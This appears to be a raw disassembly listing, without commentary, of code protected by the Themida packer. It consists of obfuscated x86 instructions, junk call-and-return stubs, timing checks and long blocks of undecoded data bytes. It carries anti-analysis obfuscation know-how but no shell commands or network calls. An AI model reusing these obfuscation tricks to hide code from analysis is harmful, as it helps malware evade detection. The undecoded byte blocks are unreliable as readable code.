mov dword ptr [eax+794DFB12h], 5CCB810Ch
push ss
adc eax, [esi+61h]
mov edx, [ebp+6A83375h]
mov byte ptr [ebp+6A815D5h], 4Dh
jnz loc_54F224
mov edx, [ebp+6A80BADh]
loc_54F224: ; CODE XREF: Themida_:0054F218j
push 0AE07F0B4h
jns loc_54F233
mov dx, 4399h
loc_54F233: ; CODE XREF: Themida_:0054F229j
xor dword ptr [esp], 0A32861Ch
xor dx, 0F5E1h
push dword ptr [ebp+6A80DB5h]
pusha
mov [ebp+6A819D1h], eax
mov ecx, [ebp+6A81B39h]
popa
lea eax, [ebp+6AB6971h]
xor dx, 0A2B7h
call eax
mov dx, bx
mov [ebp+6A8142Dh], eax
push 0
push ecx
call sub_54F274
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54F274 proc near ; CODE XREF: Themida_:0054F26Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_54F274 endp
; ---------------------------------------------------------------------------
inc ecx
xchg eax, ecx
xchg eax, ecx
inc ecx
inc edx
mov byte ptr [ebp+6A815D5h], 45h
sub [ebp+6A80635h], edi
push 0B82ABFE8h
mov ebx, 75E09614h
xor dword ptr [esp], 3658D681h
push 0
push eax
call sub_54F2B2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54F2B2 proc near ; CODE XREF: Themida_:0054F2AAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_54F2B2 endp
; ---------------------------------------------------------------------------
dw 3973h
dd 958BB1B7h, 6A83025h, 0F95B5FFh, 0B1B606A8h, 6971858Dh
dd 0B58906ABh, 6A8166Dh, 8B0FD0FFh, 6, 1E398D89h, 858906A8h
dd 6A80081h, 3409BD89h, 0D28B06A8h, 68E0Fh, 0B5890000h
dd 6A827B5h, 92DA8166h, 0D98C661Ah, 188A0Fh, 0CE80000h
dd 0ED000000h, 0AFB01FCAh, 0EB7B4E51h, 8945CEF2h, 0A815CDBDh
dd 0C1F65B06h, 0F7840F04h, 0E9000001h, 7, 5CF358C5h, 0E95C4F28h
dd 0FAh, 7E8h, 970F7100h, 0B36C0EE1h, 0BE8h, 0EE931D00h
dd 0D87105C7h, 0D819E7AEh, 344F03BAh, 8B5A5A58h, 0A80725B5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 0F73F2EEh, 0C681D1BFh, 1180h, 0F79958Bh
dd 0BD8306A8h, 6A81FE5h, 0E850F00h, 23000000h, 0A8215195h
dd 5FE906h, 0B70F0000h, 3E83D1h, 53840Fh, 0B5890000h, 6A82A81h
dd 0B98D8960h, 6A06A819h, 65952314h, 0FF06A816h, 0A81B3195h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 50184D88h, 0B49BD89h, 316106A8h, 0A80FAD8Dh
dd 0FFABE906h, 0BB50FFFFh, 69F824CCh, 106C75Ah, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 894EC355h, 0D57CA95h, 97312284h, 0BD83D88Bh
dd 6A84F56h, 0DF850F05h, 8B000000h, 0A833199Dh, 81B58B06h
dd 6A06A800h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 87F3C352h, 8CC48EEBh, 51D958Bh
dd 64B906A8h, 0B7000000h, 358D8966h, 8006A833h, 840FE83Eh
dd 38h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
dd 55C35040h, 119589B8h, 0E906A817h, 22h, 0BE9h, 0D5962F00h
dd 9E3B5BEAh, 0D4BD8B9Eh, 0C2057E80h, 4C840Fh, 23510000h
dd 0A8338995h, 6A465A06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 2E5DC356h, 664C50E3h
dd 4983D9BAh, 0FF81850Fh, 0CE9FFFFh, 59000000h, 4F09FA41h
dd 702715B7h, 0E98A35FCh, 0Ah, 0B589D38Bh, 6A81995h, 6A5843B6h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 0DD46C357h, 9185896Dh, 2906A81Bh, 0A8159D8Dh
dd 0C5BD8306h, 6A828h, 19C840Fh, 89530000h, 0A80F1D85h
dd 89605A06h, 0A833F985h, 0D585C606h, 5406A815h, 8850Fh
dd 0F510000h, 83h, 63685A00h, 8BE542D0h, 243481D6h, 1A0C6E97h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 91C35545h
dd 0C88B4B24h, 0E2C35B52h, 0AAD8589h, 0B5FF06A8h, 6A80F95h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h
dd 8DF5C841h, 0AB697185h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 23431125h
dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 95E6DCC3h, 0A5E59D91h, 6830FD5h, 8B000000h
dd 0A8171195h, 0BE666006h, 8B0F2C0Bh, 4, 385FB866h, 6A006A61h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 443BC355h, 0AE9h, 9AFF3A00h, 0B406547Ch
dd 0FF37877Fh, 0A828C5B5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F9650019h
dd 0EB196865h, 0D0FF3EE8h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0B0C35040h, 25875D13h, 0FF9DA0Dh, 1683h
dd 11E900h, 0A67C0000h, 0BD3E25AEh, 5166AEA9h, 84BF0C27h
dd 6137CE54h, 0BE8h, 0E61ADE00h, 0DFF242CBh, 0B47B31DEh
dd 525BDF8Bh, 0E6EA8166h, 85C75A69h, 6A80C91h, 1, 0FE8h
dd 85BCF900h, 2400D289h, 0CA2E7248h, 4F4BC92h, 0CE8h, 0FA6F9B00h
dd 38420937h, 4911CB6Bh, 9D85318Dh, 5B06A81Dh, 0F381605Ah
dd 3A3CDF7Bh, 26DCD068h, 2434811Dh, 1D26DC50h, 0CE9h, 0D64B2100h
dd 0C951B001h, 2497DC9Eh, 51FF6A01h, 5860Fh, 81660000h
dd 5A287DF2h, 9019D09h, 95FF06A8h, 6A80F89h, 1EA99503h
dd 576106A8h, 5B5DB653h, 0B650905Bh, 8B609037h, 0A82B0D85h
dd 0BE906h, 48BC0000h, 1E48201Ah, 2A3A9EFFh, 858B61E4h
dd 6A82EE1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 99C35141h, 58C6FA3Ch, 0B1D12BAh, 3A840FC0h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 62BEC356h, 4F85521Ah, 0D88AD773h, 0BAFAF381h
dd 0DA804E22h, 6995FF5Dh, 8906A802h, 0A805DDBDh, 7585C706h
dd 106A82Ch, 0F000000h, 787h, 0C4BB5700h, 5A762CDAh, 1A89BD83h
dd 0F0006A8h, 6584h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0E84E2D1Dh, 0Eh, 0A9C3386Ah
dd 7C3F52A4h, 9FBB0B8Bh, 85096748h, 6A829D9h, 195FF5Bh
dd 6A06A82Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0AD7CC352h, 2E454A89h, 321D9D01h
dd 0BD8306A8h, 6A82085h, 32840F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 54B6C351h, 9C0A7E40h, 24BB6638h, 0B195FF40h, 8B06A821h
dd 0A81EDD95h, 2DBD8306h, 6A801h, 2A840Fh, 9D230000h, 6A814DDh
dd 6D9BD83h, 0F0006A8h, 1785h, 0EB816600h, 95FF99E4h, 6A82789h
dd 7E9h, 0F3F26E00h, 12A9A9FEh, 1775BD83h, 0F0006A8h, 1F84h
dd 1D9D2300h, 8106A806h, 0A807B585h, 400306h, 8148B600h
dd 0A80FD585h, 400306h, 1CEA8000h, 9589310Fh, 6A82B69h
dd 5F128D8Dh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 5246F5C3h, 2C1D19h, 12E8h, 5F6A4600h
dd 0ABC65F88h, 0BBDD5CF6h, 0E5E49939h, 0B25B3B06h, 1895BDEh
dd 0E658589h, 0C23306A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 31C35545h, 0DF7060E1h, 9CA288CCh, 5BD78B51h
dd 44189F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 7CC35646h, 8FD0DA81h, 0BDBA7BE4h, 0F229A2Bh, 44F28131h
dd 8D630211h, 0A85F1E8Dh, 898D8906h, 8906A831h, 0E9B58901h
dd 3306A810h, 44189C2h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 81C35242h, 9EC3A50h, 74D48079h, 0BD83B5B3h
dd 6A80FC5h, 39840F00h, 60000000h, 5E8h, 66995B00h, 0BF0F8D9Ah
dd 0CE85BD2h, 3A000000h, 6AED6799h, 0B4AC1034h, 0B996191Dh
dd 3226E564h, 9D8B615Ah, 6A81FF9h, 31BD95FFh, 9D8906A8h
dd 6A81F81h, 209DBD83h, 0F0106A8h, 6285h, 0FD958B00h, 0E906A831h
dd 57h, 0EE9h, 4A130700h, 5067A6B7h, 0DF56EE20h, 89CABF92h
dd 0A819A995h, 72B58B06h, 0C706A860h, 6, 17B58B00h, 0C706A85Eh
dd 6, 9503CF00h, 6A80AB5h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 15h, 2DC35141h, 8324B3A0h
dd 0A82C75BDh, 840F0006h, 0DDh, 343D8589h, 0BD8306A8h
dd 6A8154Dh, 0B7850F01h, 8B000000h, 0A8157D9Dh, 4A8D8B06h
dd 0F06A84Fh, 380h, 0FCE78000h, 6A0001C6h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 17CC356h
dd 21FB761Eh, 9D8B99B2h, 6A80F31h, 3860F60h, 66000000h
dd 6568D08Bh, 8A2344DFh, 243481F0h, 2344DFE5h, 71958956h
dd 5A06A82Dh, 0EDB6FF6Ah, 0F8995FFh, 80B606A8h, 0AE861h
dd 30B20000h, 0B098BBF6h, 85249BCEh, 95FF5BFCh, 6A81E89h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AAC35646h
dd 0DDB77771h, 4F4A8D8Bh, 0DB8106A8h, 1E2D8BB5h, 0BB6601FEh
dd 0BD8312CEh, 6A80569h, 6850F01h, 8B000000h, 0A8029995h
dd 6AC08B06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 47DCC353h, 0D7805765h, 880F5A9Dh
dd 0
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_54FC02
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_54FC1C
loc_54FC02: ; CODE XREF: Themida_:0054FBF7j
push eax
push ebx
mov eax, eax
mov eax, [ebp+6A807B5h]
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AAA1ACh]
call ebx
pop ebx
pop eax
loc_54FC1C: ; CODE XREF: Themida_:0054FC00j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_54FC3D
push eax
push ebx
mov eax, [ebp+6A807B5h]
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AA9E9Bh]
call ebx
pop ebx
pop eax
loc_54FC3D: ; CODE XREF: Themida_:0054FC23j
mov bl, dl
mov ebx, [ebp+6A82ECDh]
mov eax, eax
mov edx, [ebp+6A8174Dh]
cmp dword ptr [ebp+6A82C75h], 0
jnz loc_54FC73
and ebx, [ebp+6A80565h]
cmp dword ptr [ebp+6A81655h], 0
jz loc_54FC73
mov [ebp+6A81A59h], edi
loc_54FC73: ; CODE XREF: Themida_:0054FC54j
; Themida_:0054FC67j
cmp dword ptr [ebp+6A82C75h], 0
jz loc_54FCC6
mov bx, cx
cmp dword ptr [ebp+6A830B1h], 0
jz loc_54FCC6
push 0
push eax
call sub_54FC9B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FC9B proc near ; CODE XREF: Themida_:0054FC93p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_54FC9B endp
; ---------------------------------------------------------------------------
db 0Dh
dd 52941F4Eh, 603C9F8Fh, 0F281D68Bh, 711820DDh, 38A0F61h
dd 80000000h
db 0CEh, 22h
; ---------------------------------------------------------------------------
loc_54FCC6: ; CODE XREF: Themida_:0054FC7Aj
; Themida_:0054FC8Aj
cmp dword ptr [ebp+6A82C75h], 0
jz loc_54FCF8
adc bl, 0CCh
mov ebx, 38BF7A10h
cmp dword ptr [ebp+6A830B1h], 0
jz loc_54FCF8
pusha
mov [ebp+6A807B1h], ebx
mov eax, [ebp+6A801ADh]
popa
mov bl, 0FDh
loc_54FCF8: ; CODE XREF: Themida_:0054FCCDj
; Themida_:0054FCE2j
cmp dword ptr [ebp+6A82C75h], 0
jz loc_54FD47
push 0
push ebx
call sub_54FD10
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FD10 proc near ; CODE XREF: Themida_:0054FD08p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_54FD10 endp
; ---------------------------------------------------------------------------
adc al, 8Ah
sbb ds:0C2B03CAFh, esp
jnp loc_54FD36
push ebx
mov edx, [ebp+6A802D1h]
pop ebx
loc_54FD36: ; CODE XREF: Themida_:0054FD28j
cmp dword ptr [ebp+6A81005h], 0
jz loc_54FD47
mov bx, 9CBCh
loc_54FD47: ; CODE XREF: Themida_:0054FCFFj
; Themida_:0054FD3Dj
cmp dword ptr [ebp+6A82C75h], 0
jz loc_54FD77
movzx ebx, ax
cmp dword ptr [ebp+6A82279h], 0
jz loc_54FD77
mov [ebp+6A820A1h], ecx
and bl, 3
call dword ptr [ebp+6A8004Dh]
mov dx, 3EAAh
loc_54FD77: ; CODE XREF: Themida_:0054FD4Ej
; Themida_:0054FD5Ej
mov eax, eax
mov bh, 0AEh
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_54FD8D
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_54FDA7
loc_54FD8D: ; CODE XREF: Themida_:0054FD82j
push eax
push ebx
mov eax, eax
mov eax, [ebp+6A80FD5h]
mov [ebp+6A80FD5h], eax
lea ebx, [ebp+6AAA213h]
call ebx
pop ebx
pop eax
loc_54FDA7: ; CODE XREF: Themida_:0054FD8Bj
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_54FDC8
push eax
push ebx
mov eax, [ebp+6A80FD5h]
mov [ebp+6A80FD5h], eax
lea ebx, [ebp+6AA9EB4h]
call ebx
pop ebx
pop eax
loc_54FDC8: ; CODE XREF: Themida_:0054FDAEj
jmp loc_54FDDC
; ---------------------------------------------------------------------------
movsb
xchg eax, ebp
xchg ebp, ds:0D7829140h
mov ds:33AD8EB2h, eax
aam 0F9h
loc_54FDDC: ; CODE XREF: Themida_:loc_54FDC8j
jle loc_54FDE4
mov ebx, ecx
loc_54FDE4: ; CODE XREF: Themida_:loc_54FDDCj
mov dl, 52h
mov eax, eax
xor ebx, 6E4B9B87h
cmp dword ptr [ebp+6A82C75h], 0
jz loc_5501C2
jmp loc_54FE05
; ---------------------------------------------------------------------------
dd 84194BE2h
db 0FEh
; ---------------------------------------------------------------------------
loc_54FE05: ; CODE XREF: Themida_:0054FDFBj
cmp dword ptr [ebp+6A80E35h], 2
jz loc_54FE7C
push 0
push eax
call sub_54FE1D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FE1D proc near ; CODE XREF: Themida_:0054FE15p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_54FE1D endp
; ---------------------------------------------------------------------------
db 8Fh, 0F0h, 0E9h
dd 12h, 7AB0A4D7h, 2ED8F123h, 3CF504B0h, 3115F136h, 0BD8373E0h
dd 6A8209Dh, 29850F01h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0EAFCC353h
dd 6800Fh, 0C2810000h, 665C962Bh
; ---------------------------------------------------------------------------
loc_54FE7C: ; CODE XREF: Themida_:0054FE0Cj
pusha
cld
mov ecx, [ebp+6A84F4Ah]
mov edx, [ebp+6A81AD1h]
inc byte ptr [ecx]
mov [ebp+6A80B6Dh], eax
call near ptr loc_54FE9A+1
add byte ptr [eax], 0
loc_54FE9A: ; CODE XREF: Themida_:0054FE92p
add [edx+14012066h], bh
push eax
push esi
push eax
push edx
push edx
pop edx
rdtsc
mov bx, 780Ah
pop edx
pop eax
pop edx
mov eax, [esp+4]
mov ebx, edx
mov eax, [eax]
mov bx, si
mov [esp+4], eax
mov edx, eax
pop eax
jle loc_54FECD
or [ebp+6A80769h], edx
loc_54FECD: ; CODE XREF: Themida_:0054FEC1j
push 0FFFFFFFFh
movzx ebx, cx
mov dx, si
call dword ptr [ebp+6A80F89h]
cld
popa
call sub_54FEEF
daa
in eax, dx
sub bl, [ebp-28h]
retf 0C91Ch
; ---------------------------------------------------------------------------
dw 2973h
db 0BBh, 95h, 14h
; =============== S U B R O U T I N E =======================================
sub_54FEEF proc near ; CODE XREF: Themida_:0054FEDDp
xor bh, 0BCh
pop edx
lea edi, [ebp+6A82815h]
mov edx, [ebp+6A80151h]
mov ecx, [edi+1Ch]
sub bx, 4170h
push 1
push 0
push edi
call sub_54FF14
and [edi-3Dh], bl
sub_54FEEF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_54FF14 proc near ; CODE XREF: sub_54FEEF+1Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_54FF14 endp
; ---------------------------------------------------------------------------
jge short loc_54FF2F
lea esp, [ecx+0Ah]
test al, 6
mov dx, ax
xchg eax, ecx
loc_54FF2F: ; CODE XREF: Themida_:0054FF24j
jmp loc_54FF47
; ---------------------------------------------------------------------------
dd 28F0D157h, 68974083h, 0C7B7215Bh, 89D86204h
db 0CFh, 0E5h, 9Fh
; ---------------------------------------------------------------------------
loc_54FF47: ; CODE XREF: Themida_:loc_54FF2Fj
push eax
jge loc_54FF5D
jmp loc_54FF5D
; ---------------------------------------------------------------------------
cmovnp edx, esp
adc [ecx+ebp*2+61DCB056h], ebx
loc_54FF5D: ; CODE XREF: Themida_:0054FF48j
; Themida_:0054FF4Ej
xchg eax, ecx
push 0
push ebp
call sub_54FF69
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FF69 proc near ; CODE XREF: Themida_:0054FF61p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_54FF69 endp
; ---------------------------------------------------------------------------
pop ecx
pushf
adc [eax+ecx*8-73h], esi
test esi, ebx
db 2Eh
stos dword ptr es:[edi]
push es
push 0
push eax
call sub_54FF8F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FF8F proc near ; CODE XREF: Themida_:0054FF87p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_54FF8F endp
; ---------------------------------------------------------------------------
db 4Fh
dd 0DD9D0365h, 0FF06A814h, 56006AD0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 75743C53h
dd 0EFF6FC5Bh, 204F8B5Ch, 6A036AFCh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 1C3DC356h
dd 0E23225AAh, 867EA415h, 1ED1BD89h, 0BA5006A8h, 4DE02CBCh
dd 52240C89h, 13E8h, 0E56F4C00h, 0A6108E7Fh, 22D3797Ah
dd 7D1A4F36h, 6E7CF474h, 810Fh, 5B5B0000h, 2EF3858Dh, 12E906ABh
dd 98000000h, 0DCEC3FC2h, 2984429Dh, 3A045F96h, 0AA9F0D28h
dd 0E8D0FFE6h, 0Eh, 0F7805257h, 0B9928945h, 90C5CA93h
dd 5BFC36C6h, 2815BD8Dh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0DA9C4CC3h, 29BC7D12h
dd 0E8C0BC9Eh, 8, 0C262563Bh, 0BED7B731h, 16F99503h, 8B5B06A8h
dd 8B661C4Fh, 0E9016ADAh, 0Bh, 9719FC34h, 11DDA27Bh, 5064126Bh
dd 5AD88A56h, 6A240C89h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0D588C357h, 5A15606Ch
dd 2EF3858Dh, 0DA8106ABh, 59C38082h, 6E9D0FFh, 46000000h
dd 31773376h, 204F8BD2h, 33099D8Bh, 36A06A8h, 5050D08Bh
dd 0BA310F52h, 48EC85EFh, 0C89585Ah, 258D3124h, 8D06A82Eh
dd 0AB2EF385h, 8B666006h, 0FE8F7h, 0E6AC0000h, 5B0330E5h
dd 76D22F72h, 37DB27h, 800FD3h, 5F000000h, 66D0FF61h, 8BB69EBAh
dd 0A82AAD9Dh, 4A8D8B06h, 8B06A84Fh, 0A81E199Dh, 8B01FE06h
dd 0A81E2595h, 4A858B06h, 8B06A84Fh, 0A80DC995h, 900FE06h
dd 0A806B5BDh, 53016A06h, 5E9h, 0D80FEC00h, 685AA7ECh
dd 0CD356574h, 481D38Ah, 0CA3A8B24h, 8DD2B232h, 0AB2EFD85h
dd 119D8906h, 0FF06A810h, 52006AD0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0FC485EA2h
dd 46FEBAADh
db 0FCh, 75h
; ---------------------------------------------------------------------------
loc_5501C2: ; CODE XREF: Themida_:0054FDF5j
cmp dword ptr [ebp+6A81655h], 0
jz loc_5502DA
push 0
push edx
call sub_5501DA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5501DA proc near ; CODE XREF: Themida_:005501D2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5501DA endp
; ---------------------------------------------------------------------------
dw 8A79h
dd 9DBD83DEh, 106A833h, 0E0850Fh, 0DE90000h, 0E000000h
dd 4D7100A5h, 5AE8E707h, 445105E7h, 2F078D8Dh, 0BF0F06ABh
dd 6A036ADBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 171EC357h, 9E5D6819h, 6A016A88h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 81F1C356h, 93CF64Bh, 0FF9E6129h, 0F3C780D1h
dd 8166016Ah, 813C97C2h, 8C86F2F2h, 6A016A57h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 19C7C357h, 0F5CD5F8h, 680h, 19B58900h, 0E906A81Eh, 0Bh
dd 0CB102966h, 0F0CDB944h, 0F83728F4h, 6AD1FFh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 7294FFC3h, 0D18B3A82h, 0B36DBAE8h
; ---------------------------------------------------------------------------
stc
cld
loc_5502DA: ; CODE XREF: Themida_:005501C9j
push 20h
sbb dx, 2BF4h
push 0FFFFFFFFh
mov [ebp+6A824E5h], ecx
call dword ptr [ebp+6A80F89h]
mov [ebp+6A80E65h], edx
mov eax, 0
or eax, eax
jz loc_550334
jmp loc_550319
; ---------------------------------------------------------------------------
db 0A9h
dd 298C87FEh, 9F761A8Eh, 158139Dh, 21EA1BA2h
db 0B0h
; ---------------------------------------------------------------------------
loc_550319: ; CODE XREF: Themida_:00550302j
cmp dword ptr [ebp+6A82541h], 0
jz loc_550334
mov dl, al
call dword ptr [ebp+6A81ADDh]
mov [ebp+6A82B9Dh], eax
loc_550334: ; CODE XREF: Themida_:005502FCj
; Themida_:00550320j
mov eax, [ebp+6A80D19h]
mov dl, 0BEh
mov byte ptr [eax], 0
pusha
pusha
add [ebp+6A8152Dh], esi
xor ecx, [ebp+6A801BDh]
popa
mov si, 2A51h
popa
pop eax
push 0
push ebx
call sub_55035F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55035F proc near ; CODE XREF: Themida_:00550357p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_55035F endp
; ---------------------------------------------------------------------------
db 2Fh
dd 863B23E4h, 14E852h, 62180000h, 0B25D74E4h, 0F42F84F8h
dd 0D875BBC9h, 983BCDF2h, 5BF51C30h, 48B0F5Ah, 66000000h
dd 60335BBBh, 0FBC08166h, 29958BE9h, 6106A815h, 8BD98C66h
dd 0A82ABD95h, 4C1F606h, 3C840Fh, 8D090000h, 6A81579h
dd 31E9h, 858B6000h, 6A801F1h, 2800Fh, 0FE8A0000h, 25B58B61h
dd 8006A807h, 0BF0FD4E6h, 80C681D9h, 0F000011h, 6C7DAB7h
dd 0
; ---------------------------------------------------------------------------
mov [ebp+6A80E51h], edi
pop esi
mov [ebp+6A82F65h], edi
cmp eax, 0
jz loc_550F14
mov [ebp+6A81B2Dh], eax
mov edx, [ebp+6A802F1h]
cmp eax, 1
jnz loc_550597
mov dh, ah
mov eax, 0
jmp loc_55043A
; ---------------------------------------------------------------------------
align 4
dd 0CDB77789h, 0A8F1932Eh, 9E604F5Ch, 1DE7A2D5h
db 9Ah, 12h
; ---------------------------------------------------------------------------
loc_55043A: ; CODE XREF: Themida_:00550422j
or eax, eax
jz loc_550540
mov dx, bx
cmp eax, 1
jz loc_550557
pusha
xor [ebp+6A826B1h], ebx
jmp loc_550467
; ---------------------------------------------------------------------------
dw 0CC81h
dd 9D41320Ah, 9E127515h
db 57h, 81h, 71h
; ---------------------------------------------------------------------------
loc_550467: ; CODE XREF: Themida_:00550455j
popa
cmp eax, 3
jz loc_5504FC
push 0
push ebp
call sub_55047C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55047C proc near ; CODE XREF: Themida_:00550474p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_55047C endp
; ---------------------------------------------------------------------------
sbb bh, ah
pop es
assume es:nothing
jns loc_55049D
pusha
mov si, di
mov cx, si
popa
loc_55049D: ; CODE XREF: Themida_:0055048Fj
sub eax, eax
mov [ebp+6A834D5h], edi
lea edi, dword_5B89E0[ebp]
push 0
push ecx
loc_5504AE: ; CODE XREF: Themida_:005504D2j
call sub_5504B6
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5504B6 proc near ; CODE XREF: Themida_:loc_5504AEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5504B6 endp
; ---------------------------------------------------------------------------
pop ebx
adc dh, [eax+ebx*8]
sbb ebp, [eax+0Fh]
mov edi, 11CA81D8h
jnz short loc_5504AE
inc edi
jmp edi
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5504E2
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5504E2 proc near ; CODE XREF: Themida_:005504DAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5504E2 endp
; ---------------------------------------------------------------------------
cmp al, 83h
mov ah, 5Ah
or edi, [edx+71AE1E72h]
loc_5504FC: ; CODE XREF: Themida_:0055046Bj
mov eax, 1
mov edx, [ebp+6A80DDDh]
lea edi, dword_5B89E0[ebp]
add bx, 7DEAh
jmp edi
; ---------------------------------------------------------------------------
push 0
push esi
call sub_55051F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55051F proc near ; CODE XREF: Themida_:00550517p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_55051F endp
; ---------------------------------------------------------------------------
db 4Eh
dd 6003F3ADh, 14559D09h, 0F1BB06A8h, 6113A3A1h
; ---------------------------------------------------------------------------
loc_550540: ; CODE XREF: Themida_:0055043Cj
lea edi, [ebp+6A845D6h]
mov ebx, [ebp+6A81609h]
jmp loc_5507BD
; ---------------------------------------------------------------------------
mov edx, [ebp+6A81771h]
loc_550557: ; CODE XREF: Themida_:00550448j
mov dword ptr [ebp+6A84FA5h], 5
push 0
push ebp
call sub_55056C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55056C proc near ; CODE XREF: Themida_:00550564p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_55056C endp
; ---------------------------------------------------------------------------
dd 7F5403DBh, 0DA42A367h, 5B8h, 659D8B00h, 0E906A802h
dd 8FBh
; ---------------------------------------------------------------------------
movzx edx, di
